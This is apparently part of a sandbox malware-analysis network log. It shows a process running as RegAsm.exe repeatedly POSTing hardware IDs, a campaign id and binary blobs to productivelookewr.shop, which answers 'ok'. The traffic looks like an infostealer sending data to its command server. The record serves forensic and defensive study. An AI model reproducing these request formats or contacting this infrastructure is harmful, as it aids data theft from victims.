2024-04-22 05:00:07 UTC	565	IN	Data Raw: 31 66 64 33 0d 0a 34 37 55 36 46 41 55 75 41 36 41 62 34 63 44 77 70 39 36 64 6d 32 41 4b 4e 6b 58 66 33 38 64 68 58 78 73 67 4b 38 4f 30 67 44 36 59 76 7a 4d 32 63 77 77 35 67 43 2f 4e 79 76 6d 46 72 66 69 35 57 69 70 43 4e 36 71 36 36 32 74 57 4f 55 46 50 34 59 36 67 57 49 4c 5a 53 58 45 70 4a 41 71 43 64 70 6e 69 79 6f 65 46 6c 35 49 62 41 44 39 4d 2f 62 71 70 51 32 55 37 41 6c 79 6d 31 75 56 47 6c 39 42 55 5a 32 78 42 62 65 42 32 68 4c 53 52 79 72 2f 75 38 45 35 6a 57 57 66 7a 31 63 35 6f 66 58 35 61 43 66 6d 55 6f 6e 4f 47 77 56 74 5a 5a 46 31 6f 67 6a 66 72 79 66 6d 46 75 2b 6d 35 57 69 6f 55 47 66 32 76 70 68 4d 2b 64 6c 4e 33 34 59 37 37 59 73 48 63 54 6e 46 33 54 33 66 4a 64 49 2b 7a 72 49 58 6b 71 36 74 51 4f 67 5a 31 6f 76 33 4e 61 43 49 52 4b Data Ascii: 1fd347U6FAUuA6Ab4cDwp96dm2AKNkXf38dhXxsgK8O0gD6YvzM2cww5gC/NyvmFrfi5WipCN6q662tWOUFP4Y6gWILZSXEpJAqCdpniyoeFl5IbAD9M/bqpQ2U7Alym1uVGl9BUZ2xBbeB2hLSRyr/u8E5jWWfz1c5ofX5aCfmUonOGwVtZZF1ogjfryfmFu+m5WioUGf2vphM+dlN34Y77YsHcTnF3T3fJdI+zrIXkq6tQOgZ1ov3NaCIRK
2024-04-22 05:00:07 UTC	1369	IN	Data Raw: 30 4a 30 70 76 77 33 53 44 73 4a 72 4f 74 2f 72 72 43 57 46 5a 4b 72 32 77 72 77 77 2b 65 55 56 44 71 39 6e 6f 57 49 7a 61 58 6e 5a 6e 44 43 2b 71 45 75 6a 69 6c 64 33 38 70 37 74 43 53 31 45 33 75 72 47 7a 51 51 63 35 4b 69 4b 2b 6d 49 6b 65 77 37 38 7a 62 77 38 6e 43 6f 4a 2b 6a 2b 4c 4b 68 2f 7a 33 2f 41 46 72 58 79 69 2b 74 61 34 52 50 57 74 45 52 4b 54 45 35 46 6d 50 33 56 74 6b 62 55 4a 6e 77 58 43 49 71 35 66 43 75 4c 2b 33 61 67 4d 2f 5a 37 71 6c 35 56 74 2f 4f 57 4e 45 71 74 72 6f 53 34 47 58 4d 42 31 34 41 67 6d 70 59 4f 76 4a 2b 59 57 37 38 37 6c 61 4b 68 51 6a 76 4c 6d 6b 42 7a 4e 33 52 6b 57 6e 32 4f 39 54 68 39 31 59 63 57 31 45 61 63 4e 30 69 4b 32 53 77 4c 48 37 2f 77 35 70 55 57 66 7a 31 63 35 6f 66 58 35 61 43 66 6d 55 6f 6e 4b 47 31 45 Data Ascii: 0J0pvw3SDsJrOt/rrCWFZKr2wrww+eUVDq9noWIzaXnZnDC+qEujild38p7tCS1E3urGzQQc5KiK+mIkew78zbw8nCoJ+j+LKh/z3/AFrXyi+ta4RPWtERKTE5FmP3VtkbUJnwXCIq5fCuL+3agM/Z7ql5Vt/OWNEqtroS4GXMB14AgmpYOvJ+YW787laKhQjvLmkBzN3RkWn2O9Th91YcW1EacN0iK2SwLH7/w5pUWfz1c5ofX5aCfmUonKG1E
2024-04-22 05:00:07 UTC	1369	IN	Data Raw: 5a 73 74 77 69 61 4f 63 79 72 66 7a 2f 42 42 6a 57 79 2b 79 76 4b 67 4f 4e 6e 31 43 43 65 2b 2b 69 54 66 42 30 45 41 32 50 77 34 68 34 33 53 4d 73 4a 48 55 2f 73 72 36 44 47 5a 54 4d 66 33 56 7a 68 78 7a 45 53 6c 51 79 62 32 4a 48 49 62 62 47 43 34 6c 44 47 44 4f 64 59 4b 74 6c 4d 2b 30 2f 50 67 51 59 56 73 76 73 72 53 6b 41 44 6c 34 53 46 75 7a 31 75 35 4f 6a 64 31 65 65 57 70 41 49 59 77 52 36 4d 6e 53 77 71 53 2f 6f 55 41 6f 66 69 53 70 76 71 39 42 43 48 70 4d 52 36 62 41 6f 6a 54 71 79 42 59 65 44 46 55 4a 71 52 4c 44 70 5a 36 46 35 4c 32 35 44 32 6c 63 49 61 2b 79 71 41 41 7a 64 30 31 4d 72 74 37 69 58 49 7a 53 58 48 31 73 54 32 7a 47 61 34 6d 69 6d 73 43 39 39 66 4e 43 4a 6a 78 4d 31 76 32 69 47 33 30 68 41 41 6d 51 77 65 6b 65 74 4e 52 57 65 47 42 Data Ascii: ZstwiaOcyrfz/BBjWy+yvKgONn1CCe++iTfB0EA2Pw4h43SMsJHU/sr6DGZTMf3VzhxzESlQyb2JHIbbGC4lDGDOdYKtlM+0/PgQYVsvsrSkADl4SFuz1u5Ojd1eeWpAIYwR6MnSwqS/oUAofiSpvq9BCHpMR6bAojTqyBYeDFUJqRLDpZ6F5L25D2lcIa+yqAAzd01Mrt7iXIzSXH1sT2zGa4mimsC99fNCJjxM1v2iG30hAAmQweketNRWeGB
2024-04-22 05:00:07 UTC	1369	IN	Data Raw: 49 53 70 6b 64 65 75 2f 50 30 4d 5a 42 52 70 31 64 62 4f 51 7a 70 68 41 68 48 6a 6c 73 64 4c 67 73 64 65 64 53 63 6b 43 74 30 33 36 38 6d 4c 72 64 65 55 75 51 56 6b 46 48 2f 2f 2f 61 55 4e 4d 58 4a 46 51 71 72 53 35 6c 79 4d 33 46 5a 34 62 6b 42 70 7a 6e 36 52 72 35 66 4e 74 76 62 38 44 6d 56 58 4e 62 36 38 35 55 31 56 45 69 6b 4a 70 73 36 69 42 4d 4f 58 66 30 56 51 62 79 47 71 45 70 7a 73 2b 71 36 6c 6c 35 4a 70 4b 46 4d 72 2f 65 58 6e 51 7a 78 78 52 55 65 6c 78 4f 78 4f 6a 39 42 59 63 47 39 45 5a 73 35 33 6a 62 43 61 78 4c 7a 78 39 67 70 68 55 43 61 35 75 61 6b 45 66 54 63 71 49 73 71 57 35 55 54 42 6a 78 6f 32 54 30 39 37 32 44 75 74 71 5a 4c 43 72 4f 6e 69 51 67 41 2f 4f 50 50 56 7a 68 70 56 45 69 6b 4a 70 74 71 69 42 4d 4f 58 58 48 31 74 52 57 4c 4c Data Ascii: ISpkdeu/P0MZBRp1dbOQzphAhHjlsdLgsdedSckCt0368mLrdeUuQVkFH///aUNMXJFQqrS5lyM3FZ4bkBpzn6Rr5fNtvb8DmVXNb685U1VEikJps6iBMOXf0VQbyGqEpzs+q6ll5JpKFMr/eXnQzxxRUelxOxOj9BYcG9EZs53jbCaxLzx9gphUCa5uakEfTcqIsqW5UTBjxo2T0972DutqZLCrOniQgA/OPPVzhpVEikJptqiBMOXXH1tRWLL
2024-04-22 05:00:07 UTC	1369	IN	Data Raw: 76 47 73 50 6e 34 44 47 68 61 4a 2f 33 7a 7a 57 68 57 4f 55 56 52 34 59 36 67 48 4b 48 63 54 6d 4e 6b 58 47 66 46 64 63 50 4b 2b 64 72 79 6c 35 49 62 41 44 39 4d 2f 62 71 70 51 32 55 37 41 6b 65 7a 30 75 4e 63 69 64 35 55 66 57 39 65 5a 73 56 79 6a 61 79 5a 77 62 44 32 38 67 74 74 57 43 61 32 74 4b 41 48 4e 33 39 50 43 65 2b 2b 69 54 66 42 30 45 41 32 50 77 34 68 37 6e 71 4d 71 64 4b 74 31 2b 43 33 61 67 4e 4e 54 39 62 57 35 51 51 78 4f 52 6f 4c 34 64 48 71 56 49 2f 55 58 6e 31 72 51 47 44 4c 66 34 61 71 6c 63 71 37 39 76 34 43 62 6b 59 67 73 4c 53 6c 43 44 52 7a 52 6b 69 71 6c 71 77 30 36 72 77 59 63 58 38 4d 4f 59 41 35 73 61 57 45 31 62 2b 2f 6b 57 6c 33 47 6b 7a 56 31 72 78 72 56 68 49 43 54 71 32 57 75 68 37 42 32 6b 70 33 59 6c 35 6c 7a 58 4b 52 71 Data Ascii: vGsPn4DGhaJ/3zzWhWOUVR4Y6gHKHcTmNkXGfFdcPK+dryl5IbAD9M/bqpQ2U7Akez0uNcid5UfW9eZsVyjayZwbD28gttWCa2tKAHN39PCe++iTfB0EA2Pw4h7nqMqdKt1+C3agNNT9bW5QQxORoL4dHqVI/UXn1rQGDLf4aqlcq79v4CbkYgsLSlCDRzRkiqlqw06rwYcX8MOYA5saWE1b+/kWl3GkzV1rxrVhICTq2Wuh7B2kp3Yl5lzXKRq
2024-04-22 05:00:07 UTC	1369	IN	Data Raw: 77 2b 67 46 70 58 6a 57 76 73 61 77 4c 4f 48 56 4a 52 36 66 45 35 46 4f 49 31 46 74 2f 59 45 52 74 79 48 71 45 34 74 79 74 31 35 53 35 42 58 41 55 66 2f 2f 39 68 68 51 74 64 41 49 68 79 73 6d 73 4e 4f 72 4f 4d 42 30 4d 44 47 62 4f 4f 64 76 67 30 73 32 78 39 2f 4d 47 62 31 6b 67 75 37 53 33 43 6a 68 33 51 6b 32 71 32 65 52 59 67 74 64 4b 63 47 4e 45 59 73 39 30 6a 61 47 57 68 66 4b 58 6b 6d 6b 6f 55 7a 2f 39 35 65 64 44 44 33 52 4d 55 71 37 52 38 31 62 42 76 7a 4e 70 4b 53 51 4b 32 78 48 6f 79 64 4c 43 73 4c 2b 68 51 43 68 51 4b 61 2b 32 70 41 67 32 64 30 56 47 70 4e 7a 69 55 34 58 55 56 6e 31 6d 54 32 6e 50 64 49 32 6f 6d 38 79 37 38 2f 30 46 4b 42 70 50 31 74 62 6c 42 43 55 35 47 67 76 68 2f 63 4e 78 72 64 42 43 4e 67 38 6e 66 6f 77 52 36 4c 76 36 72 74 Data Ascii: w+gFpXjWvsawLOHVJR6fE5FOI1Ft/YERtyHqE4tyt15S5BXAUf//9hhQtdAIhysmsNOrOMB0MDGbOOdvg0s2x9/MGb1kgu7S3Cjh3Qk2q2eRYgtdKcGNEYs90jaGWhfKXkmkoUz/95edDD3RMUq7R81bBvzNpKSQK2xHoydLCsL+hQChQKa+2pAg2d0VGpNziU4XUVn1mT2nPdI2om8y78/0FKBpP1tblBCU5Ggvh/cNxrdBCNg8nfowR6Lv6rt
2024-04-22 05:00:07 UTC	745	IN	Data Raw: 65 42 52 50 31 71 4c 72 61 31 5a 67 4b 69 4c 4b 6c 75 56 51 77 59 38 61 4e 6d 46 46 5a 38 56 2f 6a 62 43 58 77 37 50 77 38 41 74 73 58 43 53 39 75 61 45 45 4f 48 70 4f 51 71 62 56 37 56 69 49 32 56 46 35 4a 77 49 4a 71 52 4c 44 70 59 71 46 35 4c 32 35 49 33 4e 58 4b 37 44 39 7a 57 67 69 4e 79 6f 69 75 4c 36 4a 4e 38 48 51 56 44 59 2f 44 69 48 4f 64 34 61 69 6d 4d 4f 34 2b 76 38 49 62 56 51 73 76 72 4b 68 42 54 6c 32 51 6b 4b 6f 31 2b 52 5a 69 39 78 65 65 32 52 4b 5a 34 49 33 36 38 6e 35 68 62 76 6e 75 56 6f 71 46 41 65 6d 73 4b 6b 45 66 52 45 70 56 75 2b 2b 69 55 58 70 76 44 4d 32 59 45 41 68 6d 6a 76 44 71 5a 37 42 75 2f 2f 30 41 57 42 52 49 37 65 34 70 51 73 76 63 55 4a 4f 73 38 54 69 56 59 54 62 57 33 5a 6a 53 6d 6a 45 65 6f 66 69 33 4b 33 58 6c 4c 6b Data Ascii: eBRP1qLra1ZgKiLKluVQwY8aNmFFZ8V/jbCXw7Pw8AtsXCS9uaEEOHpOQqbV7ViI2VF5JwIJqRLDpYqF5L25I3NXK7D9zWgiNyoiuL6JN8HQVDY/DiHOd4aimMO4+v8IbVQsvrKhBTl2QkKo1+RZi9xee2RKZ4I368n5hbvnuVoqFAemsKkEfREpVu++iUXpvDM2YEAhmjvDqZ7Bu//0AWBRI7e4pQsvcUJOs8TiVYTbW3ZjSmjEeofi3K3XlLk
2024-04-22 05:00:07 UTC	1369	IN	Data Raw: 31 61 31 39 0d 0a 4a 52 65 6d 38 4d 7a 5a 67 51 43 47 61 4f 38 4f 76 6c 63 75 30 2b 66 63 45 65 6c 67 6f 75 37 32 6b 43 54 42 31 53 55 36 76 33 65 52 5a 6a 4e 64 65 63 47 4e 49 5a 63 78 36 77 2b 7a 36 72 74 65 2f 2f 68 6f 6f 44 47 58 39 6d 6f 67 79 66 31 70 56 58 36 76 52 37 6b 71 4b 31 6c 74 67 61 6c 77 68 71 68 4b 63 37 50 71 75 70 5a 65 53 61 53 68 54 4b 2f 33 6c 35 30 4d 32 64 30 64 49 72 64 7a 6c 55 70 50 57 55 6e 70 6d 53 32 62 4a 61 34 69 77 6d 63 32 2f 38 66 45 4c 61 46 6f 6e 76 4c 43 6c 51 33 4d 52 4b 53 4c 68 30 66 6f 63 32 5a 55 59 55 30 52 62 64 38 67 37 6f 4c 57 45 7a 37 76 7a 37 77 6c 70 56 7a 47 77 72 65 56 72 56 6d 59 4d 49 63 72 50 69 6a 66 71 6c 31 39 36 4a 78 51 6a 67 6e 4b 4d 72 4a 2f 4f 75 50 62 38 43 6d 74 52 49 72 65 78 71 51 49 31 Data Ascii: 1a19JRem8MzZgQCGaO8Ovlcu0+fcEelgou72kCTB1SU6v3eRZjNdecGNIZcx6w+z6rte//hooDGX9mogyf1pVX6vR7kqK1ltgalwhqhKc7PqupZeSaShTK/3l50M2d0dIrdzlUpPWUnpmS2bJa4iwmc2/8fELaFonvLClQ3MRKSLh0foc2ZUYU0Rbd8g7oLWEz7vz7wlpVzGwreVrVmYMIcrPijfql196JxQjgnKMrJ/OuPb8CmtRIrexqQI1
2024-04-22 05:00:07 UTC	1369	IN	Data Raw: 71 44 73 51 76 52 68 54 41 64 65 41 49 4a 71 57 44 72 79 66 6d 46 71 72 2b 68 51 44 6f 61 54 39 62 57 35 52 46 39 49 51 41 4a 35 74 6a 76 58 59 4c 5a 57 32 52 31 53 6d 4c 55 65 73 53 63 72 4f 53 78 39 50 55 50 5a 31 38 5a 67 35 79 6f 43 44 46 30 54 55 4b 66 36 50 64 66 6a 39 6c 66 59 48 59 4d 4c 36 6f 53 36 4f 4b 64 68 65 53 39 77 45 49 67 46 42 6a 7a 31 63 35 6f 66 57 45 43 45 65 4f 57 31 31 2b 50 32 56 39 67 64 67 46 41 7a 33 4b 50 72 35 33 4f 2f 4c 47 52 61 51 4d 55 49 66 33 6c 35 31 4e 7a 45 53 6b 69 34 64 4c 7a 48 4e 6d 56 43 43 51 38 47 54 4b 56 4b 64 48 4b 2b 64 72 79 6c 35 49 62 41 44 39 4d 2f 61 76 6c 57 33 38 72 44 43 48 4b 76 61 4a 4f 77 59 38 61 4e 69 42 50 63 39 42 2f 67 4c 53 52 67 6f 4c 42 32 68 56 2b 58 6a 7a 2f 6d 36 49 53 4e 47 39 50 57 Data Ascii: qDsQvRhTAdeAIJqWDryfmFqr+hQDoaT9bW5RF9IQAJ5tjvXYLZW2R1SmLUesScrOSx9PUPZ18Zg5yoCDF0TUKf6Pdfj9lfYHYML6oS6OKdheS9wEIgFBjz1c5ofWECEeOW11+P2V9gdgFAz3KPr53O/LGRaQMUIf3l51NzESki4dLzHNmVCCQ8GTKVKdHK+dryl5IbAD9M/avlW38rDCHKvaJOwY8aNiBPc9B/gLSRgoLB2hV+Xjz/m6ISNG9PW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	104.21.11.250	443	7472	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 05:00:08 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18169 Host: productivelookewr.shop
2024-04-22 05:00:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 34 37 37 35 37 30 30 39 44 46 42 31 34 33 37 41 45 36 35 39 32 32 34 38 30 43 34 30 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 72 79 73 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A947757009DFB1437AE65922480C403D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Krys
2024-04-22 05:00:08 UTC	2838	OUT	Data Raw: 41 bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa Data Ascii: A~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'
2024-04-22 05:00:08 UTC	808	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 05:00:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rvgpqblat3p4ssos9iucmbqmc3; expires=Thu, 15-Aug-2024 22:46:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nl%2FWOPoGJ5AcMpm83mS%2BZRUF0yeXViaSQcOTy1IMGEVB9xLdXWCkMERUWeled%2B9NA2DXn2%2BWRD%2FHZj8s2YZY7jqwx1ERsfiYaC01Ah2yZzH5Gr0gUGV6lffhfq6OBKN2ONazVWLqzTYL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87830c66dd5853ab-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 05:00:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 05:00:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	104.21.11.250	443	7472	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 05:00:08 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8790 Host: productivelookewr.shop
2024-04-22 05:00:08 UTC	8790	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 34 37 37 35 37 30 30 39 44 46 42 31 34 33 37 41 45 36 35 39 32 32 34 38 30 43 34 30 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 72 79 73 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A947757009DFB1437AE65922480C403D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Krys
2024-04-22 05:00:09 UTC	808	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 05:00:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ivp6840nbh5a5v1nib9gav7sgq; expires=Thu, 15-Aug-2024 22:46:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0wvQEdNVQQ6FI2bLla1xUx5Lk0v8PtyVI%2BC9fXg9yiBoAgO1N%2BF5HH7W4LSc582dSRudafYkPJBN9dJ%2FPhwfH6iOHKAchpx0eto%2FW4fIlK7vUdim0GzJKxnZsr3quPv%2BmuziBk8qcwP2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87830c6bdc5b6785-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 05:00:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 05:00:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	104.21.11.250	443	7472	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 05:00:09 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20443 Host: productivelookewr.shop
2024-04-22 05:00:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 34 37 37 35 37 30 30 39 44 46 42 31 34 33 37 41 45 36 35 39 32 32 34 38 30 43 34 30 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 72 79 73 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A947757009DFB1437AE65922480C403D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Krys
2024-04-22 05:00:09 UTC	5112	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 Data Ascii: `M?lrQMn 64F6(X&7~
2024-04-22 05:00:10 UTC	802	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 05:00:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hg0g0vvojom6fdafcc5euds96t; expires=Thu, 15-Aug-2024 22:46:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SUsSGbU892eiBKMfBCEaSFudFycv9sV8%2FizrOx4HEzBVvimv9nU8XYZi8B%2Ft9KSdXKla6aUYrdh3NoDQ904x6Cm71bYMg23WZhF9DCyj1oiFJhkkICII3lub0X8kHWjSXKyctoUlQCyi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87830c70ff2944db-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 05:00:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 05:00:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	104.21.11.250	443	7472	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 05:00:10 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7088 Host: productivelookewr.shop
